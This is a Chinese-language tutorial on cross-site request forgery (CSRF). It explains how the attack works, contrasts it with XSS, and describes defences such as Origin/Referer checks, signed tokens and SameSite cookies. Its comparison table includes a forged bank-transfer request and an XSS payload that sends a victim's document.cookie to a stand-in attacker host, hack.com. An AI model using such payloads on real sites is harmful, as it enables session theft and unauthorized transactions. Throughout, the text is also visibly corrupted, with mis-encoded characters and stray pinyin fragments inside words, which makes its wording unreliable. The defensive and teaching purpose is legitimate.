因?yàn)楝F(xiàn)代瀏覽器的工作機(jī)制原因，造成一種WEB攻擊形式的存在，這種攻擊形式叫做CSRF攻擊，是一種對(duì)網(wǎng)站的惡意利用，是挾制用戶在當(dāng)前已登錄的Web應(yīng)用程序上執(zhí)行非本意的操作的攻擊方法。
Part 01
● 什么是CSRF ●
CSRF（Cross-site request forgery）簡(jiǎn)稱：跨站請(qǐng)求偽造，跟XSS攻擊一樣，存在巨大的危害性。在CSRF的攻擊場(chǎng)景中，攻擊者會(huì)偽造一個(gè)請(qǐng)求（這個(gè)請(qǐng)求一般是一個(gè)鏈接），然后欺騙目標(biāo)用戶進(jìn)行點(diǎn)擊，用戶一旦點(diǎn)擊了這個(gè)請(qǐng)求，整個(gè)攻擊就完成了，所以CSRF攻擊也稱為one-click attack。
Part 02
● CSRF與XSS的區(qū)別 ●
與XSS相比，XSS利用站點(diǎn)內(nèi)的信任用戶，而CSRF則通過偽裝來自受信任用戶的請(qǐng)求來利用受信任的網(wǎng)站。
從漏洞存在的位置上（CSRF存在于所有請(qǐng)求-響應(yīng)模式的功能上，XSS存在于將用戶輸入回顯前端web頁(yè)面的位置上）；從攻擊效果上（CSRF主要是執(zhí)行網(wǎng)站自身已有功能，XSS主要是用于獲取Cookie）。
|
攻擊類型 |
攻擊示例 |
說明 |
|
CSRF |
??http://www.hack.com/csrf_page（頁(yè)面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“）?? |
發(fā)送的請(qǐng)求是hack網(wǎng)站的頁(yè)面，目標(biāo)是bank網(wǎng)站頁(yè)面 |
|
XSS |
??http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'?? |
發(fā)送的請(qǐng)求是bank網(wǎng)站的頁(yè)面，目標(biāo)是hack網(wǎng)站頁(yè)面 |
Part 03
● CSRF攻擊原理 ●
HTTP是無(wú)狀態(tài)協(xié)議，服務(wù)器只能根據(jù)當(dāng)前請(qǐng)求的參數(shù)(包括Head和Body的數(shù)據(jù))來判斷本次請(qǐng)求需要達(dá)到的目的(Get或者Post都一樣)，服務(wù)器并不知道這個(gè)請(qǐng)求之前干了什么事，這就是無(wú)狀態(tài)協(xié)議。
但是我們現(xiàn)實(shí)很多情況需要有狀態(tài)，比如登錄態(tài)的身份信息，網(wǎng)頁(yè)上很多操作需要登錄之后才能操作。目前的解決方案是每次HTTP請(qǐng)求都把登錄態(tài)信息傳給后臺(tái)服務(wù)器，后臺(tái)通過登錄態(tài)信息是判斷用戶合法性之后再處理這個(gè)請(qǐng)求要處理的操作。
如何讓每次HTTP請(qǐng)求都帶上登錄態(tài)信息，所以就出現(xiàn)了Cookie。登錄態(tài)Cookie是瀏覽器默認(rèn)自動(dòng)攜帶的，我們?cè)跒g覽器上發(fā)送HTTP請(qǐng)求的時(shí)候，瀏覽器會(huì)把該域名下的Cookie帶上，一并發(fā)送到服務(wù)器。那么問題就來了，瀏覽器不管當(dāng)前發(fā)送請(qǐng)求的是哪個(gè)網(wǎng)站，在哪個(gè)頁(yè)面上發(fā)送的請(qǐng)求，只要你請(qǐng)求的域名在瀏覽器里保存有Cookie信息，瀏覽器都會(huì)一并帶上。
所以只要用戶C曾經(jīng)登錄過網(wǎng)站A，在沒有關(guān)閉瀏覽器的情況下打開一個(gè)黑客網(wǎng)頁(yè)B，黑客頁(yè)面發(fā)送HTTP請(qǐng)求到網(wǎng)站A的后臺(tái)，會(huì)默認(rèn)帶上網(wǎng)站A的登錄態(tài)Cookie，也就能模擬用戶C做一些增刪改等敏感操作。這就是CSRF攻擊原理。
Part 04
● CSRF攻擊過程 ●
(1) 用戶C打開瀏覽器，訪問受信任網(wǎng)站A，輸入用戶名和密碼請(qǐng)求登錄網(wǎng)站A；
(2) 在用戶信息通過驗(yàn)證后，網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器，此時(shí)用戶登錄網(wǎng)站A成功，可以正常發(fā)送請(qǐng)求到網(wǎng)站A;
(3) 用戶未退出網(wǎng)站A之前，在同一瀏覽器中，打開一個(gè)標(biāo)簽頁(yè)訪問危險(xiǎn)網(wǎng)站B；
(4) 網(wǎng)站B接收到用戶請(qǐng)求后，返回一些攻擊性代碼，并發(fā)出一個(gè)請(qǐng)求要求訪問第三方站點(diǎn)A；
(5) 瀏覽器在接收到這些攻擊性代碼后，根據(jù)網(wǎng)站B的請(qǐng)求，在用戶不知情的情況下攜帶Cookie信息，向網(wǎng)站A發(fā)出請(qǐng)求。
(6) 網(wǎng)站A并不知道該請(qǐng)求其實(shí)是由B發(fā)起的，所以會(huì)根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請(qǐng)求，導(dǎo)致來自網(wǎng)站B的惡意代碼被執(zhí)行。
我們可以這樣理解：
攻擊者盜用了用戶C的身份，以用戶C的名義發(fā)送惡意請(qǐng)求，對(duì)服務(wù)器來說這個(gè)請(qǐng)求是完全合法的，但是卻完成了攻擊者期望的操作，比如以用戶C的名義發(fā)送郵件，甚至于購(gòu)買商品、虛擬貨幣轉(zhuǎn)賬等。
Part 05
● CSRF防護(hù)方法 ●
1、驗(yàn)證HTTP請(qǐng)求頭
HTTP請(qǐng)求頭會(huì)默認(rèn)帶上Referer字段和Origin字段，Referer記錄了該請(qǐng)求的來源地址，Origin記錄請(qǐng)求來源域名。通過我們通過判斷這2個(gè)字段的值，可以確認(rèn)該請(qǐng)求是否來自安全站點(diǎn)，以此來阻止第三方惡意請(qǐng)求。
由于Referer值會(huì)記錄用戶的訪問來源地址，有些用戶認(rèn)為這樣會(huì)侵犯到自己的隱私，特別是有些組織擔(dān)心Referer值會(huì)把內(nèi)網(wǎng)中的某些信息泄露到外網(wǎng)中。 因此，用戶自己可以設(shè)置瀏覽器在發(fā)送請(qǐng)求時(shí)不再提供Referer。當(dāng)他們正常訪問銀行網(wǎng)站時(shí)，網(wǎng)站會(huì)因?yàn)檎?qǐng)求沒有Referer值而認(rèn)為是CSRF攻擊，拒絕合法用戶的訪問。因此推薦使用Origin校驗(yàn)。
2、Token機(jī)制
CSRF防護(hù)的一個(gè)重點(diǎn)是對(duì)“用戶憑證Token”進(jìn)行校驗(yàn)，通過這種機(jī)制可以對(duì)用戶的請(qǐng)求進(jìn)行合法性判斷，判斷是不是跨站攻擊的行為。我們?cè)赥oken中加入隨機(jī)字符串和過期時(shí)間戳，對(duì)其進(jìn)行有效期管理，并加上簽名校驗(yàn)。如果的憑證被人盜用了，先判斷Token中的“簽名”與時(shí)間戳是否都有效，再進(jìn)行正常的業(yè)務(wù)處理，這樣通過對(duì)非法數(shù)據(jù)的校驗(yàn)過濾，來降低CSRF攻擊的成功率。
Token由三部分組成：
(1) 消息[msg]：消息本身由兩部分組成：隨機(jī)字符串和過期時(shí)間戳。
(2) 分割符[separator]：用于分隔msg與加密后生成的signature簽名，這里用的是”;“。
(3) 簽名[signature]：簽名是對(duì)“msg”用特定算法進(jìn)行加密后的字符串。
當(dāng)用戶向服務(wù)發(fā)送請(qǐng)求時(shí)，服務(wù)器需要先進(jìn)行分解，得到msg部分和signature簽名部分，比對(duì)簽名和判斷token是否過期，一旦傳向請(qǐng)求中攜帶的Token校驗(yàn)異常，就可以判定是可疑行為，不做處理。
3. 在請(qǐng)求頭中自定義屬性并驗(yàn)證
這種方法也是使用token并進(jìn)行驗(yàn)證，不同的是，這里不是把token以參數(shù)的形式置于HTTP請(qǐng)求之中，而是把它放到請(qǐng)求頭中自定義的屬性里。通過XMLHttpRequest請(qǐng)求封裝，可以一次性給所有請(qǐng)求加上csrftoken這個(gè)自定義屬性，并把token值放入其中。同時(shí)，通過XHR請(qǐng)求的地址不會(huì)被記錄到瀏覽器的地址欄，也不用擔(dān)心token會(huì)透過Referer泄露到其他網(wǎng)站去。
然而這種方法的局限性非常大。XHR請(qǐng)求通常用于頁(yè)面局部的異步刷新，并非所有的請(qǐng)求都適合用這個(gè)類來發(fā)起，而且通過該類請(qǐng)求得到的頁(yè)面不能被瀏覽器所記錄下，從而不能進(jìn)行前進(jìn)、后退、刷新等操作，給用戶帶來不便。
4. Cookie的SameSite屬性
CSRF攻擊就是利用了cookie中攜帶的用戶信息，想要防護(hù)Cookie不被第三方網(wǎng)站利用，我們可以通過設(shè)置Samesite屬性。SameSite最初設(shè)計(jì)的目的就是防CSRF，SameSite有三個(gè)值Strict/Lax/None。
(1) Strict最為嚴(yán)格。如果SameSite的值是Strict，那么瀏覽器會(huì)完全禁止第三方。
(2) Lax相對(duì)寬松一點(diǎn)。在跨站點(diǎn)的情況下，從第三方站點(diǎn)的鏈接打開和從第三方站點(diǎn)提交Get方式的表單這兩種方式都會(huì)攜帶Cookie。但如果在第三方站點(diǎn)中使用Post方法，或者通過img、iframe等標(biāo)簽加載的URL，這些場(chǎng)景都不會(huì)攜帶 Cookie。
(3) 而如果使用None的話，在任何情況下都會(huì)發(fā)送Cookie數(shù)據(jù)。
?對(duì)于防范CSRF攻擊，我們可以針對(duì)實(shí)際情況將一些關(guān)鍵的Cookie設(shè)置為Strict或者Lax模式，這樣在跨站點(diǎn)請(qǐng)求時(shí)，這些關(guān)鍵的Cookie就不會(huì)被發(fā)送到服務(wù)器，從而使得黑客的CSRF攻擊失效。
以上是技術(shù)層面的防護(hù)方法，常用的是驗(yàn)證HTTP請(qǐng)求頭和Token機(jī)制。實(shí)際Web應(yīng)用是使用WAF（Web應(yīng)用防火墻，如免費(fèi)的ShareWAF）。因?yàn)镃SRF只是眾多Web攻擊中的一種，WAF可以低于絕大多數(shù)的攻擊，極大的提高網(wǎng)站安全性。
參考文獻(xiàn)
[1]陳振. CSRF攻擊的原理解析與對(duì)策研究[J]
[2]https://blog.csdn.NET/stpeace/article/details/53512283
